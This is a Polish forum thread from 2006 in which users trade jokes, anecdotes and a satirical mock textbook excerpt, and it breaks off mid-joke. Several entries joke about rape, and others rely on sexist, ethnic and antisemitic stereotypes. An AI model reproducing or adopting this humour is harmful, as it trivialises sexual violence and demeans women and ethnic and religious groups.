Urzędnik: a jak się pan nazywa?
Facio: Bezjajcew.
U: to faktycznie się pan kwalifikuje do zmiany bezpłatnie. jak się pan chce nazywać?
F: nie wiem... może tak jakoś z amerykańska, co?
U: to mam wybrać?
F: tak.
U: to ja coś wymyśle. proszę za dwa tygodnie przyjść po odbiór dokumentów.

Dwa tygodnie później facet otwiera nowy dowód i czyta swoje nowe nazwisko: YONDERBRACK....


=====

Dwaj myśliwi idą przez las.
W pewnej chwili jeden z nich osuwa się na ziemię. Nie oddycha, oczy zachodzą mu mgłą. Drugi myśliwy wzywa pomoc przez telefon komórkowy.
- Mój przyjaciel nie żyje! Co mam robić? - woła do słuchawki. Po chwili słyszy odpowiedź:
- Proszę się uspokoić. Przede wszystkim proszę się upewnić, że pański przyjaciel naprawdę nie żyje.
Po chwili rozlega się strzał.
- Upewniłem się - woła do telefonu myśliwy. - i co dalej?

żaku - 05-09-2006, 11:10
Temat postu: Bracia zakonni
Bracia zakonni przepisują żmudnie księgi, w pewnej chwili młody zakonnik
pyta starszego:
- Drogi Bracie, my przepisujemy te księgi od stuleci, a co jeśli ktoś z
nas się pomyli?
- Na szczeście mamy w podziemiach oryginały i zawsze można sprawdzić -
odpowiedział mnich, i dla świętego spokoju, poszedł do lochów po stare
księgi w celu sprawdzenia. Długo nie wracał, więc młody zakonnik poszedł
sprawdzić co się dzieje. Gdy wszedł do podziemi, zobaczył starego mnicha,
pochylonego nad księgami i głośno szlochającego.
- Co się stało? - zapytał:
- Tu jest napisane: "Żyj w celi bracie" a nie "Żyj w celibacie"...

Efraim Ryba - 05-09-2006, 20:50

W barze siedzi facet i sączy powoli drinka. Nagle podchodzi do niego atrakcyjna kobieta. Gdy barman wlał jej szklankę soku pomarańczowego, facet przy
barze odezwa się do niej:
- Świętuję dzisiaj.
- Ja również świętuję - odparła kobieta, stukając szklanką o jego szklankę.
- Co pani świętuje?
- Przez kilka lat próbowałam zajść w ciążę, w końcu dziś ginekolog powiedział mi, że jestem w ciąży.
- Gratuluję! - odrzekł mężczyzna, wznosząc szklankę. - A ja jestem farmerem i od lat zajmuję się hodowlą kur. W tym roku jakoś nie chciały jajek znosić,
ale od wczoraj wszystko wróciło do normy.
- Jak pan tego dokonał? - pyta kobieta.
- Zamieniłem koguta.
- Co za zbieżność! - odpowiada kobieta.

Leszek Nowak - 06-09-2006, 10:45
Temat postu: Giertych rozszyfrowany
Giertych rozszyfrowany: Gier.... Ty..... Ch...... :)
Pozio - 07-09-2006, 02:17

Przechodząc koło góralskiej chaty turyści zauważyli ze baca pierze kota.
-Baco nie pierze się kota
- Pierze, pierze
- Ale baco naprawdę nie wolno prać kota
Ale baca niewzruszony kontynuował swoje prani
Po trzech godzinach turyści wracają znowu koło chaty bacy i widzą, że baca siedzi przed domem i płacze
- No i co baco mówiliśmy ze nie wolno prać kota
- Prać wolno tylko nie wolno wykręcać

Beeker - 12-09-2006, 17:16

nurkowy jest jak najbardziej, ale coś nie mogę tamtego wątku znaleźć ;|

Są zawody fridajwerów - kto najdłużej wytrzyma w wodzie. Pierwszy pan wytrzymał 1min i wszyscy ludzie go pytają jak pan to zrobił? A on odpowiedział:
- ''Trening, trening i jeszcze raz trening".
Następny pan wytrzymał 2min i znowu wszyscy ludzie go pytają jak pan to zrobił? A on odpowiedział:
- ''Trening,trening i jeszcze raz trening".
Następny pan wytrzymał 3 min i wszyscy ludzie go pytają jak pan to zrobił? A on na to:
- Trening.....
Następny pan przyszedł, wchodzi do wody, 1min nic, 2min nic, 3min nic, po 4 minucie wychodzi ledwo oddycha więc lekarze szybko podbiegli ale na szczęście nic się nie stało, wszyscy ludzie pytają jak on to zrobił? A on na to:
- Gdzieś musiałem gaciami zahaczyć!
:mrgreen:

Efraim Ryba - 13-09-2006, 08:05

Przychodzi facet do sklepu zoologicznego i przygląda się zwierzakom na wystawie. W międzyczasie wchodzi inny klient i kupuje małpę z klatki obok.
Facet słyszy cenę: 5000.
- Czemu ta małpa taka droga?
- Ona programuje biegle w C... wie pan... szybki, czysty kod, nie robi błędów... warta jest tej ceny.
Obok stała druga klatka a tam cena: 10000
- A ta małpa czemu taka droga?
- Bo ta małpa programuje obiektowo w C++, może też pisać w Visual C++, trochę w Javie... wie pan... tego typu. Bardzo przystępna cena.
- A ta małpa? - pyta facet wskazując na klatkę z ceną 50000
- Ta? Nigdy nie widziałem, by coś robiła, ale mówi, że jest konsultantem.

Aston - 14-09-2006, 17:13

Dwóm przyjaciółkom po długich namowach, udało się wreszcie przekonać mężów,
żeby zostali w domu, a one same wychodzą na kolacje do knajpy przypomnieć sobie
dawne czasy. Po zabawnie spędzonym wieczorze, dwóch butelkach białego wina,
szampanie i buteleczce wódki opuszczają restaurację całkowicie pijane! W drodze
powrotnej obie nachodzi nagła potrzeba, może dlatego ze dużo wypiły. Nie wiedząc
gdzie iść się wysikać, jedna mówi do drugiej:
- Wejdźmy na ten cmentarz, tutaj napewno nikogo nie będzie.
Wchodzą na cmentarz, najpierw jedna ściąga majtki, sika, wyciera się tymi majtkami
i oczywiście je wyrzuca... Widząc to, druga od razu sobie przypomina, ze ma na sobie
drogą markową bieliznę od męża i szkoda by ją tak wyrzucić. Ściąga więc majtki, wkłada
je do kieszeni, sika i zrywa kokardę z pierwszego lepszego wieńca, żeby się podetrzeć.
Na drugi dzień mąż pierwszej, dzwoni do męża drugiej:
- Jurek, nawet sobie nie wyobrażasz co się stało! To koniec mojego małżeństwa!
- Dlaczego?
- Moja żona wróciła o 5 rano kompletnie pijana i na dodatek bez majtek!
Od razu wywaliłem ją z domu.
Na to drugi:
- Marek, to jeszcze nic, wiesz co wykombinowała moja! Nie tylko przyszła pijana i bez
majtek, ale miała włożoną w tyłek czerwoną kokardę z napisem:
"NIGDY CIĘ NIE ZAPOMNIMY, ANDRZEJ, STASZEK, WIESIEK, MAREK I POZOSTALI PRZYJACIELE Z SIŁOWNI"

ania1311 - 14-09-2006, 22:13

Kobieta szczęśliwa

Fragment z podręcznika do przedmiotu "Przygotowanie do

życia w rodzinie", zaaprobowanego przez MEN w sierpniu

2006 r.

Jestem kobietą szczęśliwą

Rano wstaję razem z moim mężem i gdy on goli się w

łazience, przygotowuję mu pożywne kanapki do pracy.

Potem, gdy całuje mnie w czoło i wychodzi, budzę naszą

piątkę dzieciaczków, jedno po drugim, robię im zdrowe

śniadanie i głaszcząc po główkach żegnam w progu, gdy idą

do szkoły.

Zaczynam sprzątanie. Odkurzam, podlewam kwiatki, nucąc

wesołe piosenki. Piorę skarpetki i gatki mojego męża w

najlepszym proszku, na który stać nas dzięki pracy mojego

męża, i rozwieszam je na sznurku na balkonie. W

międzyczasie dzwoni często mamusia mojego męża i pyta o

zdrowie Swojego dziubdziusia. Teściowa jest kobietą

pobożną i katoliczką, znalazłyśmy wiec wspólny punkt

widzenia. Po miłej rozmowie, jeśli już skończyłam pranie

i sprzątanie, które dają mi tyle radości i poczucie

spełnienia się w obowiązkach, idę do kuchni i

przygotowuję smaczny obiad dla naszego pracującego męża i

ojca, który jest podporą naszej rodziny i dla naszych

pięciu pociech.

Kiedy już garnki wesoło pyrkoczą na gazie, a mieszkanie

jest czyste, pozwalam sobie na chwile relaksu przy płycie

z Ojcem świętym i robię na drutach sweterki i śpioszki

dla naszej szóstej pociechy, która jest już w drodze, a

którą Pan Bóg pobłogosławił nas mimo przestrzeganego

kalendarzyka, co jest jawnym znakiem Jego woli. Nie

włączam telewizji, ponieważ płynący z niej jad i

bezeceństwo mogłyby zatruć wspaniałą atmosferę naszej

katolickiej rodziny. Czasami haftuję tak, jak nauczyłam

się z kolorowego pisma dla katolickich pań domu, albowiem

kobieta nie umiejąca haftować nie może się w pełni

spełnić życiowo.

Kiedy moje dzieci wracają ze szkoły radośnie ?wiergocząc,

wysłuchuję z uśmiechem, czego dziś nauczyły się w szkole.

Opowiadają mi o lekcjach przygotowania do życia w

rodzinie, których udziela im bardzo miła pani z

przykościelnego kółka różańcowego. Córeczki proszą, abym

nauczyła je szyć, ponieważ chcą być prawdziwymi

kobietami, nie zaś wynaturzonymi grzesznicami z okładek

magazynów, chłopcy natomiast szepczą na ucho, że na pewno

nigdy nie popełną tego strasznego grzechu, który polega

na dotykaniu samych siebie, ani nie będą oglądać zdjęć

podsuniętych przez samego Szatana. Karcę ich lekko za

wspominanie o rzeczach obrzydliwych, lecz jestem

szczęśliwa, że wczesne ostrzeżenie uchroni moich

dzielnych chłopców przed zboczeniem i abominacją.

Mój maż wraca z pracy po południu.

Witamy go wszyscy w progu, po czym myje on ręce i zasiada

do posiłku, a ja podsuwam mu najlepsze kąski, aby

zachował siłę do pracy. Potem mój mąż włącza telewizor i

zasiada przed nim w poszukiwaniu relaksu, a ja zmywam

talerze i garnki i zabieram jego skarpetki do cerowania,

słuchając z uąmiechem odgłosów meczu sportowego w

telewizji.

Wieczorem kąjpię nasze pociechy i kładę je spać.

Kiedy wykąpiemy się wszyscy, mój mąż szybko spełnia swój

obowiązek małżeński, ja przeczekuję to w milczeniu,

ze spokojem i godnością prawdziwej katoliczki, modląc się

w myśli o zbawienie tych nieszczęsnych istot, które

urodziły się kobietami, ale którym lubieżność Szatana

rzuciła się na mózgi, które w obowizku szukaj?

wstrętnych i grzesznych przyjemności.

Zasypiam po długiej modlitwie i tak mija kolejny

szczęśliwy dzień mojego życia.

FRAGMENT Z: Szczęliwa Kobieta "Przygotowanie do życia w

rodzinie",

Podręcznik zaaprobowany przez MEN i opłacony z Twoich

podatków!!!!

Umieszczam to tu bo to musi byc zart :20:

Efraim Ryba - 15-09-2006, 12:08

W Ameryce pojawiła się nowa zabawka. Zestaw
Policjant. W skład którego wchodzi:
Rewolwer, odznaka, gwizdek i martwy chomik
żeby można go było pomścić...

Pisklak - 15-09-2006, 16:02

Z cyklu "Azor sam w domu"

Sprzedam psa:

Efraim Ryba - 17-09-2006, 10:49

Komisja Europejska postanowiła wybudować bramę w trzecie tysiąclecie jako symbol coraz ściślejszych więzi łączących państwa członkowskie. Wyłoniono
podkomisję do przeprowadzenia przetargu, która ów przetarg ogłosiła. Do wykonania bramy zgłosiło się trzech oferentów: Turek, Niemiec i Polak.
Pierwszy ofertę przedstawił Turek: brama solidna, projekt kompletny - wszystko w porządku - koszt: 6000 euro.
Drugi był Niemiec: projekt w zasadzie nie odbiegał od projektu Turka, podobne wykonanie, cena: 10.000 Euro. Komisja pyta: czemu aż 10.000! Niemiec na to:
solidny niemiecki projekt, solidne niemieckie materiały solidne niemieckie wykonanie, a to kosztuje. OK.
Ostatni był Polak, który przedstawił projekt bardzo podobny, wręcz identyczny do projektów Turka i Niemca, ale cena wynosiła 56.000 Euro. Tu komisja o
mało nie spadła z krzeseł, ale pytają, czemu tak astronomicznie wysoka kwota, na co Polak:
- 25.000 Euro dla mnie, 25.000 dla Szanownej Komisji za trud włożony w przeprowadzenie przetargu i skuteczne jego rozstrzygnięcie, a 6.000 dla Turka, bo ktoś te bramę musi postawić...

bann - 17-09-2006, 17:41

Rozmawia blondynka z koleżanką - też blondynką.
- Wiesz Zdzicha... Ja to bym chciała przeżyć kiedyś taki prawdziwy gwałt.
Poczuć ten dreszczyk emocji i zastrzyk adrenaliny. Ale boję się, że mnie ten gwałciciel jeszcze czymś zarazi...
- Nie ma strachu, Edzia. Idź do parku ciemną nocą, a jak zza krzaka wyskoczy napaleniec, to krzycz, że masz AIDS albo inne g*wno. Wtedy założy condoma i wszyscy będą zadowoleni.
No to Edzia idzie ciemną nocą do parku. Spaceruje sobie, a tu zza krzaka wyskakuje gwałciciel.
- Aaaa! Teraz Cię zgwałcę!
- Ale proszę pana, ja mam AIDS. Zarazi się pan.
- Ha! Ja też mam. A już chciałem w condomie

=====

Studenci szkoły filmowej zdają egzamin.
- Scenka jest taka: facet i kobitka są na przyjęciu. Jak pokazać ludziom, że to mąż i żona?
- Ona poprawia jemu krawat - mówi jeden student.
- Źle. To może być jego koleżanka - ripostuje egzaminator.
- On całuje ją w policzek - mówi drugi.
- Źle. To może być jego kochanka.
- On mówi: 'Ty stara ku**o, spie**oliłaś mi życie' - mówi trzeci.
- Źle. Mogą być w trakcie rozwodu.
- On wyjmuje z jej torebki chusteczkę - mówi czwarty. - Wysmarkuje nos i wkłada ją z powrotem do torebki.
- Brawo! Piątka.

======

Mąż kupił nowy samochód. Chodzi wokół, przeciera szybki, poleruje lakier,
strąca pyłki z maski itp. I wtedy przychodzi żona z prośbą, by jej dał
samochód, bo do przyjaciółki musi jechać.
Po dość długiej i burzliwej rozmowie, mąż daje za wygraną i zrezygnowany
wręcza małżonce kluczyki od nowego samochodu.
- Ale pamiętaj! Jeżeli spowodujesz wypadek, wszystkie gazety podadzą Twój
prawdziwy wiek.

ol_marcino - 18-09-2006, 20:37

Każdy Chińczyk powinien w życiu zrobić trzy rzeczy:
- buty
- dżinsy
- magnetofon

Efraim Ryba - 19-09-2006, 11:42

Zima, legowisko niedźwiedzi. Mały miś budzi starego siwego niedźwiedzia:
- Dziadku, dziadku! Nie mogę zasnąć! Opowiedz mi bajkę!
- Śpij... - Mruczy dziadek miś - Nie czas na bajki.
- To pokaż chociaż teatrzyk!
- No dobrze - Mówi dziadek i sięga za konar. Wyciąga stamtąd dwie ludzkie czaszki wkłada w nie łapy i wyciągając je przed siebie mówi:
- Docencie Malinowski. Co tak hałasuje w zaroślach?
- Eee, to pewnie świstaki panie profesorze...

tsharny - 19-09-2006, 12:35

Mosze mów do żony Salci:
- Salcie, nasz budżet podupadł, ty musisz iść zarobić na ulicę.
Po pierwszym dniu Salcie leży zmęczona na łóżku, a Mosze liczy pieniądze:
- Ja rozumiem 500 złotych, ale 507?
- Oj, nie męcz mnie, Mosze, oni różnie dawali, po dwa, po trzy złote...

wiesiek01 - 19-09-2006, 13:04

List od użytkowniczki PC:

Dzień dobry, chcę skopiowac film na dyskietkę, gdy dam kopiuj pojawia się mi
się komunikat, że na dysku A nie ma wystarczająco miejsca. Potem daje
"skopiuj skrót" i wtedy mi się film mieści na dyskietce. Problem jednak powstaje
gdy chcę go uruchomic na innym komputerze dlatego, że pojawia mi się
komunikat "skrót nie został znaleziony", równocześnie na moim komputerze ten film
normalnie uruchamiam. Co z tym moge zrobic?

i odpowiedź:

Droga użytkowniczko, do swojej torebki nie zmieści Pani swojego futra.
Karteczka z tym, że futro ma Pani w szafie, do torebki sie jednak
zmieści. Tak więc dopóki jest Pani w domu a przeczyta Pani karteczkę z torebki, że
futro jest w szafie, bez problemu je Pani tam znajdzie. Gorzej gdy, będąc
u przyjaciółki wyciągnie Pani karteczkę z torebki i przeczyta, że w szafie
ma Pani futro. W szafie u przyjaciółki może Pani długo szukac, ale tego
futra tam Pani na pewno nie znajdzie.

Jeszcze podpowiedź:
torebka=dyskietka
futro=film
karteczka=skrót
szafa=komputer
mól w szafie=wirus komputerowy
sąsiad w szafie=hacker
*

VooDoo_73 - 20-09-2006, 14:01

Oddział terenowy Centralnego Biura Śledczego w Nowym Targu, dzwoni telefon:
- Słucham
- Dobry.....kciołem podać,że Jontek Pipciuś Przepustnica chowie w stogu drzewa maryhuanę. - Dziękujemy za doniesienie, zajmiemy sie tym.
- Kolejnego dnia zjawiają się na podwórku u Przepustnicy spragnieni sensacji agenci CBŚ, rozwalają drzewo, rąbiąc każdy kawałek na 2, ale narkotyków nie znaleźli. Wydukali do przyglądającego się ze zdziwieniem Przepustnicy "przepraszam" i odjechali.
- Zdziwiony Przepustnica słyszy w domu dzwoniący telefon, idzie odebrać:
- Słucham
- Cesc Jontek....Stasek godo. Byli u Ciebie z cebesiu?
- Byli, tela co pojechali
- A drzewa Ci narąbali?
- Ano narąbali
- Syćkiego nojlepsego z okazji urodzin, hej!

mysiar - 23-09-2006, 15:08

U.S. Marines are always taught
1) Keep your priorities in order and
2) Know when to act without hesitation.

A Marine was attending some college courses between assignments.
He had completed missions in Iraq and Afghanistan .

One of the courses had a professor who was an avowed atheist and a
member of the ACLU.
One day he shocked the class when he came in, looked to the
ceiling, and flatly stated, "God, if you are real, then I want you to
knock me off this platform. I'll give you exactly 15 minutes." The
lecture
room fell silent. You could hear a pin drop. Ten minutes went by and the professor proclaimed, "Here I am God. I'm still waiting."

It got down to the last couple of minutes when the Marine got out of his
chair, went up to the professor, and cold-cocked him; knocking him off
the
platform. The professor was out cold. The Marine went back to his seat
and
sat there, silently. The other students were shocked and stunned and sat
there looking on in silence.

The professor eventually came to, noticeably shaken, looked at the
Marine
and asked, "What the hell is the matter with you? Why did you do that?"

The Marine calmly replied, "God was too busy today protecting America 's
soldiers who are protecting your right to say stupid shit and act like an
asshole. So He sent me."

maczaty - 27-09-2006, 15:24

chyba nie było... :mrgreen:

Wybrali sią amerykańscy turyści na spacer po rosyjskim lesie. Zaskoczył ich niedźwiedź. Turyści zaczęli uciekać... Tymczasem nieopodal kilku Rosjan urządziło sobie piknik. Kocyki, zagrycha, flaszeczka odbita, w pobliskim strumyku dalsza wódka się chłodzi, sielanka, nie przeszkadzają nikomu. Nagle przez tę sielankę przebiegają turyści. Zagrycha stratowana, flaszki potłuczone, ślady buciorów na kocu... masakra! Rosjanie się wkurzyli i biegną za turystami. Dogonili, sprali, wracają do swojego pikniku, jeden mimochodem napomyka:
- Ale ten w futrze to nawet umiał się bić...

Marcin_alien - 28-09-2006, 22:31

Kobieta z rana dzwoni do swojego szefa i mówi mu, że nie przyjdzie do pracy,
bo jest chora.
- A co pani jest? - pyta szefu.
- Mam jaskrę analną.
- Że co!? Czym to się objawia??
- Po prostu nie widzę dzis możliwosci przytoczenia swojej dupy do pracy...

Aston - 28-09-2006, 23:36

Niezle nawalony gosciu, jednak w miare grzeczny
dostawia sie do pewnej kobiety, na co zniesmaczona rzecze:
- Pan jest pijany!
- A pani brzydka!
Po chwili dodaje:
- Ale ja wytrzezwieje!

Efraim Ryba - 29-09-2006, 19:18

Pani na lekcji polskiego prosi dzieci, aby ułożyły zdanie, w którym będzie
nazwa ptaka.
Zgłasza się Ja:
- Tata przyszedł do domu nawalony jak szpak.
- No, może być. Ale zdania z dwoma ptakami już nie ułożysz.
- Tata przyszedł do domu nawalony jak szpak i wyrznął orla - przyjmuje
wyzwanie Ja.
- A z trzema ptakami?
- Tata przyszedł do domu nawalony jak szpak, wyrznął orla i puścił pawia.
- A z czterema ptakami, cwaniaczku?
- Tata przyszedł do domu nawalony jak szpak, wyrznął orla, po czym puścił
pawia, aż mu dwa gile wyszły z nosa.
- A z pięcioma ptakami ?
- Tata przyszedł do domu nawalony jak szpak, wyrznął orla, po czym puścił
pawia, aż mu dwa gile wyszły z nosa i poszedł dalej pić na sępa.

bann - 30-09-2006, 18:42

myśliwy wybrał się na niedźwiedzie. Ustrzelił jednego, cieszy się, a tu nagle coś łapie go od tyłu za ramię. Odwraca się, a tam stoi większy niedźwiedź i mówi: "Śmierć albo sex, wybieraj!". Myśliwy oczywiście zdecydował że w tej sytuacji korzystniej będzie się wypiąć...

Gdy po dwóch tygodniach doszedł do siebie poprzysiągł zemstę. Wrócił do lasu, wytropił swojego kochasia, i zastrzelił. Nagle znów coś go chwyta - jeszcze większy niedźwiedź, i znów: "Śmierć albo sex!". No i myśliwy znów się wypiął...

Tym razem trwało to miesiąc zanim był w stanie znów wrócić do lasu, no ale wytropił i zastrzelił bestię. Ale znów coś go chwyta, tym razem naprawdę olbrzymi niedźwiedź! I mówi: "Przyznaj się, ty tu wcale nie przyjeżdżasz z myślą o polowaniu, prawda?"

Efraim Ryba - 02-10-2006, 13:29

Konserwatorium im Witolda Lutosławskiego w Krakowie. Po korytarzu, w
przerwie między zajęciami spaceruje dwóch studentów:
- Ale miałem wczoraj traumatyczne przeżycie - mówi jeden
- Co się stało?
- Byłem świadkiem samobójstwa. Jakiś facet skoczył z dachu wieżowca wprost
pod moje nogi.
- Jezu! A jaki był motyw?
- Żadnego motywu nie było. W całkowitej ciszy o ziemię j*bnął.

[ Dodano: Pon 02 Paź, 2006 ]
Renata Beger wchodzi do siedziby PiS i spotyka Lipińskiego
-O to Renata Beger. Co Pani tu robi?
-Przyszłam reklamować wasz nowy rząd.
-A powie Pani że załatwiamy stołki?
-A załatwiacie?
-No tak.
-Załatwiają!
-I miejsca
na listach wyborczych dla rodziny.
-A załatwiacie?
-Załatwiamy.
-Załatwiają!
-I weksle spłacamy.
-I weksle spłacają!
Prawo i Sprawiedliwość.
Jak mówią tak robią!

mysiar - 02-10-2006, 19:15

moze nie dowcip, ale prawdziwe wydarzenie, ja sie usmialem :-D

znajomy pilot, ktory pracowal w afryce kilka lat mi opowiedzial 2 zdarzenia

1.
jego znajomi wynajmowali dom i chcieli sobie odmalowac pokoje
zawolali lokalnych kolesiow malarzy i mowia, ten pokoj na tak a taki kolor
ten na inny, a ten na jeszcze inny, a jak wam zostanie farby to pomalucie
drzewa, rzucili zartem i pojechali.

po powrocie nie mogli dojsc do siebie po tym co zobaczyli, wszystkie drzewa w ogrodzie mieli wymalowane na niebiesko :lol:

2.
pojezdzili sobie autem terenowym po roznych wertepach, no i sie auto wybrudzilo, jak wrocili to powiedzieli znowu lokalnemu kolesiowi, zeby auto na zewnatrz umyl karcherem, a jak skonczy to niech jeszcze umyje auto w srodku, niestety zapomnieli dodac, ze nie karcherem

pewnie tez sie nadziwic nie mogli jak sie dalo auto w srodku umyc karcherem :mrgreen:

tsharny - 04-10-2006, 12:09

- W życiu nie uwierzę, że za komuny na półkach był tylko
ocet i olej... Może w jakichś małych sklepach, ale w
Carrefourze????
_____________________________________

- Co może być gorszego od kamyczka w bucie?
- Ziarenko piasku w prezerwatywie.
_____________________________________

- światem rządzi miłość. Ja na przykład kocham wypić.
_____________________________________

- Sąsiedzie, czemu pańska żona tak w nocy płakała? Czyżby pan
się z nią źle obszedł?
- Wręcz przeciwnie, obszedłem się bez niej!
_____________________________________

W sprzedaży pojawiły się prezerwatywy o smaku mentolowym i
eukaliptusowym.
Zalecane szczególnie dla kobiet chorych na gardło.
_____________________________________

Adam i Ewa spacerują po raju
- Adam, kochasz mnie?
- A co tu robić...
_____________________________________

- Pomyślałem, żeby się ożenić.
- No i co?
- No i nic. Pomyślałem, pomyślałem i mi przeszło.
_____________________________________
Dla mężczyzny rozebrać i nie wydymać, to jak dla kobiety
przymierzyć i nie kupić.
_____________________________________

W barze siedzi młody mężczyzna i dziewczyna.
- Koleżanka się spieszy? - zagaduje mężczyzna.
- Nie, koleżanka się nie spieszy - przekornie odpowiada
dziewczyna.
- Koleżanka napije się kawy?
- Tak, napiję się kawy...
- Koleżanka wolna?
- Nie, mężatka...
- Mężatka? A koleżnka może zadzwonić do domu i powiedzieć, że
została zgwałcona w barze?
- Tak, koleżanka może zadzwonić do domu i powiedzieć, że ją zgwałcili 10 razy.
- 10 razy???!!!
- Kolega się spieszy?
_____________________________________

Zlapal wilk zajaca.
- Prosze, prosze wilku, nie zabijaj mnie, zrobie co zechcesz!
- To zrób mi loda!
- Nie umiem!
- Rób loda!!
- Kiedy nie umiem!!
- To rób, jak umiesz!
- Chrup, chrup, chrup
_____________________________________

Jasio kopie dól w ogródku. Zaciekawiony sasiad pyta:
- Co robisz??
- Kopie grób dla mojej zlotej rybki.
- Ale czemu taki duzy?
- Bo jest w twoim a fee kocie!
_____________________________________
80-latek chce się kochać z żoną.
- Ale tylko z prezerwatywą - zaznacza żona.
- Przecież w twoim wieku nie grozi Ci ciąża - przekonuje mąż.
- Ale salmonella od starych jaj
_____________________________________

Kawał wędkarski:
- Biorą?
- Nie bardzo...
- Złapał pan coś?
- Jednego.
- I co pan z nim zrobił?
- Wrzuciłem do wody.
- Duży był?
- Taki jak pan i też mnie wk***.
_____________________________________

- Synku, jesteś taki niegrzeczny, weź przykład z tatusia
- mama, ale tata siedzi w więzieniu...
- tak, ale niedługo wyjdzie za dobre sprawowanie!
_____________________________________

Morze Północne, lodowaty wicher duje jak cholera. Na
pokładzie statku stoi dwóch marynarzy.
- W taką pogodę z gołą głową? Gdzie masz swoje nauszniki?
- Od czasu nieszczęśliwego wypadku już ich nie noszę.
- Jakiego nieszczęśliwego wypadku??
- Kumpel zapraszał na wódkę, a ja nie słyszałem...
_____________________________________

Parka w łóżku: On do niej:
- Kochanie moze dzisiaj na jeźdźca?
- Jaki najeźdźca??
- Germański a fee oprawca!!
_____________________________________
Prosty człowiek, pierwszy raz w szpitalu, operacja, ścisła
dieta, kroplówka trzy dni, potem kleik - dopadł go straszny głód.
Wchodzipielęgniarka i pyta:
- Podać Panu kaczkę?
- O tak, kochaniutka i od a fee frytek!
_____________________________________

Podczas imprezy na Księżycu w pewnej chwili ktoś mówi:
- wiesz co, Armstrong? Niby wszystko jest, rozpalony grill,
piwo, dziewczyny ale jakoś atmosfery nie ma.........
_____________________________________

Pasażer taksówki klepnął kierowcę żeby się o coś zapytać.
Tamten jak oparzony podskakuje pod sufit i traci panowanie nad
samochodem,
- co pan taki nerwowy - pyta pasażer
- przez 25 lat byłem kierowcą karawanu...

Rafal oPALUCH - 04-10-2006, 14:54

-Jaka to jest prostytutka exkluzywna??
-Taka co mówi w kilku językach, ale nie w rosyjskim :)

VooDoo_73 - 04-10-2006, 22:29

Konferencja, temat: "kariera zawodowa ,a wiernosc malżeńska", referent
wyglasza:
- pierwsze miejsce jesli chodzi o zdrady malzeńskie zajmuja lekarze...te
nocne dyzury sprzyjaja, kilka etatów naraz itd...
- drugie miejsce..to oczywiscie artysci...ciagle nowe role, plany,
otoczenie...
- ...no a trzecie miejsce...to wlasnie ludzie tacy jak Państwo - uczestnicy
konferencji, szkoleń, jezdzacy w delegacje..
Z pierwszych rzędów odzywa się facet:
- Ja protestuję! Już od 20 lat wyjezdzam i nigdy mi się to nie zdarzylo!
Na to glos z końca sali, wstaje facet i krzyczy:
- Wlasnie przez takich gnojów jak ty mamy trzecie miejsce!

Pisklak - 05-10-2006, 00:37

za sport.gazeta.pl:

Cytat dnia:

Po jednym z pierwszych treningów Leo Beenhakker zapytał mnie, który z graczy ma pseudonim "K...a". I dlaczego koledzy ciągle wołają na niego podczas treningu i czego od niego chcą - menedżer reprezentacji Jaan de Zeeuw.

:mrgreen:

Mania - 06-10-2006, 15:02

> Tato, a gdzie żyją jeże?
> - A diabli wiedza!
> - Tato, a dlaczego jeże kłują?
> - A diabli wiedza!
> - Tato, a kiedy pojawiły się jeże?
> - Zostaw tatę w spokoju - wtrąca się mama
> - Nieee - niech pyta, bo inaczej skąd ma się szczeniak wszystkiego o jeżach dowiedziec?

Anja - 12-10-2006, 10:02

Super balanga u faceta mieszkającego w willi. Impreza na całego, a tu
jedna panienka przychodzi z rottweilerem, który nie lubi towarzystwa po
alkoholu, jak to zresztą zwykle wszystkie pieski w ogólności, a
rottweilery w szczególności. Ktoś proponuje przerzucić rottweilera przez
siatkę na posesję sąsiada, który wyjechał, co by nie bruździł
(rottweiler, nie sąsiad - ma się rozumieć). Na to gospodarz imprezy:
- Niech was ręka boska broni! Tam mieszka taki jamnik, oczko w głowie
mojego sąsiada. Jak się by Maksiowi co stało, to by mnie Józek chyba
zabił!
Towarzystwo bawi się dalej, ale koło północy rottweiler naprawdę lekko
dziabnął jednego z gości i po cichutku został przerzucony przez płot do
sąsiada. Rano, gdy wszyscy jeszcze spali, gospodarz balangi otwiera na
fullkacu bramę, co by po piwko skoczyć i co widzi?
Pekający z dumy rottweiler z uwalanym ziemią, bardzo martwym jamnikiem w
pysku.
- O kurcze, Józek mnie zabije, jak ja mu się wytłumaczę?!!! - gospodarz
wpada w panikę.
Towarzystwo wprawdzie skacowane, ale pełne poczucia winy i chęci
uchronienia swego gospodarza przed morderczymi zapędami Józka - fanatyka
jamników. Inkryminowany jamnik-denat ląduje w wannie, gdzie za pomocą
szamponu, cocolino, suszarki i szczotki do włosów gospodarza przywrócona
zostaje mu dawna forma i świetność. Póki jeszcze się nie rozwidniło na
dobre, corpus delicti jamnika ląduje na ganku sąsiada na swym stałym,
ulubionym miejscu w koszu. Towarzystwo się rozjeżdża. Koło południa wraca
sąsiad. Gospodarz imprezy jakby nigdy nic.
Po jakichś dziesięciu minutach przychodzi sąsiad. Blady jakiś taki i
bardzo niewyraźny.
- Eee, słuchaj, tego... nie widziałeś czasem, łaził kto może u mnie
wczoraj po posesji?
- Wykluczone Józek!
- Na pewno?
- Na sto procent! Wiesz, było u mnie parę osób, prawie całą noc robiliśmy
grilla w ogrodzie, niemożliwe, żebyśmy nie zauważyli, jakby kto się d o
ciebie chciał włamać. A co? Zginęło ci coś, czy jak?
- Eee nie, tylko wiesz, dwa dni temu pochowałem Maksia tam, pod różami, a
teraz... No chodź i sam zobacz.... Albo wiesz, idź lepiej sam, a ja tu
chwilę posiedzę u ciebie...

nureckia - 13-10-2006, 20:03

Dwie koleżanki w sklepie rozglądają się za ciuchami.
Podchodzi ekspedientka:
- W czym mogę pomóc?
- Szukam ciekawej sukienki na lato.
- Jakie ma pani wymiary?
- 170 cm, 50 kg, 90/60/90
Na to koleżanka:
- No coś ty Kaśka?! Nie jesteś na Gadu-Gadu!

------------------------------------------------------------------------------------

Panie grają w golfa.
Jedna z nich uderzyła piłeczkę - chciała prosto, poszło w lewo.
Z obserwujących je panów jeden zgiął się w pól, wsadził dłonie pomiędzy uda i wrzasnął.
Pani podeszła do niego:
- Ja bardzo pana przepraszam, ale to było niechcący.
Pan dalej jęczy.
- Jestem fizykoterapeutką, może będę w stanie panu pomóc.
Pan nadal jęczy.
Pani rozpięła mu rozporek i zaczęła masować.
Po 5 minutach pyta: no i jak?
- Bardzo przyjemnie, ale kciuk nadal boli...

-------------------------------------------------------------------------------------

Trzy kobiety(żony)urządziły sobie domową imprezke na której nie stroniły od alkoholu!! Po paru drinkach zaczęły porównywac swoich mężów do samochodów!!!
Pierwsza mówi:
